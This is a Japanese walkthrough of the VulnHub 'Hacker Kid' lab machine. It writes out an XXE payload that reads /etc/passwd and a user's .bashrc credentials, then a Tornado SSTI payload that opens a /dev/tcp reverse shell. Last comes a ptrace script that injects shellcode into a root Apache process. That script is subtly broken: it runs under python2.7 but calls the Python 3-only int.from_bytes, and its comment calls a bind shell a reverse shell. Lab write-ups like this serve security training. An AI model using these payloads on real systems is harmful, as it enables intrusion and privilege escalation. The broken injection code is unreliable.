環境準備
- 靶機ダウンロード:
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova - MD5:
70f5e0eaa87f9c23a9f9633344afe6f1 - VirtualBox で Host-Only ネットワークを使用
- Kali 側: NAT + Bridged/Host-Only
攻撃手順
1. ターゲット発見
sudo arp-scan -l -I eth1
結果: 192.168.56.118 を発見。次にNmapでポートスキャン:
nmap -A -T4 192.168.56.118
開放ポート:
- 53/tcp (ISC BIND 9.16.1)
- 80/tcp (Apache 2.4.41)
- 9999/tcp (Tornado 6.1)
2. 情報収集
80番ポートにアクセスし、ページソースに <!-- page_no GET parameter --> のコメントを発見。手動で ?page_no=0 を試すと赤文字メッセージが出現。続けて page_no=21 で以下のメッセージ:
I am a hacker kid... subdomains: hackers.blackhat.local
このサブドメインを Host ヘッダに設定して再アクセス:
curl -H 'Host: hackers.blackhat.local' http://192.168.56.118/
登録ページが表示され、XML形式のPOSTリクエストを発見 (process.php)。
3. XXE 脆弱性
XML外部エンティティを利用して /etc/passwd を読み出す:
echo '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>1</name>
<tel>1</tel>
<email>&xxe;</email>
<password>1</password>
</root>' | curl -X POST -H 'Host: hackers.blackhat.local' --data-binary @- http://192.168.56.118/process.php
結果からユーザー saket を特定。さらに /home/saket/.bashrc を読み出し、以下を入手:
username="admin"
password="Saket!#$%@!!"
4. Tornado サーバへのSSRF/SSTI攻撃
9999番ポートのログインページに上記認証情報 (saket とパスワード) でログイン。ログイン後のページに name パラメータが存在。SSTI検査:
http://192.168.56.118:9999/?name={{1+1}}
Hello 2 が返るため、テンプレートエンジンがTornadoの {{ }} 形式であることを確認。以下のペイロードでリバースシェル:
http://192.168.56.118:9999/?name={%25+import+os+%25}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}}
URLエンコードして送信。Kali側で nc -nvlp 4444 で待受し、シェル獲得。
5. 権限昇格
シェルで /sbin/getcap -r / 2>/dev/null を実行し、/usr/bin/python2.7 に cap_sys_ptrace+ep が設定されていることを確認。Apach2のルートプロセス (PID 888) に ptrace でコード注入可能。以下のPythonスクリプト (inject.py) を使用:
import ctypes, sys, struct
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
class Regs(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
pid = int(sys.argv[1])
libc.ptrace(PTRACE_ATTACH, pid, None, None)
regs = Regs()
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(regs))
print("RIP: " + hex(regs.rip))
# リバースシェルコード (ポート5600)
shellcode = (
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58"
"\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02"
"\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e"
"\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03"
"\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0"
"\x3b\x0f\x05"
)
for i in range(0, len(shellcode), 4):
val = int.from_bytes(shellcode[i:i+4].ljust(4, b'\x00'), 'little')
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(regs.rip + i), val)
regs.rip += 2
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(regs))
libc.ptrace(PTRACE_DETACH, pid, None, None)
print("注入完了")
ターゲット上で実行:
python2.7 inject.py 888
シェルコードがApacheのルートプロセスに注入され、ポート5600で待受が開始される。Kaliから接続:
nc 192.168.56.118 5600
id
uid=0(root) gid=0(root) groups=0(root)
root権限を獲得。攻略完了。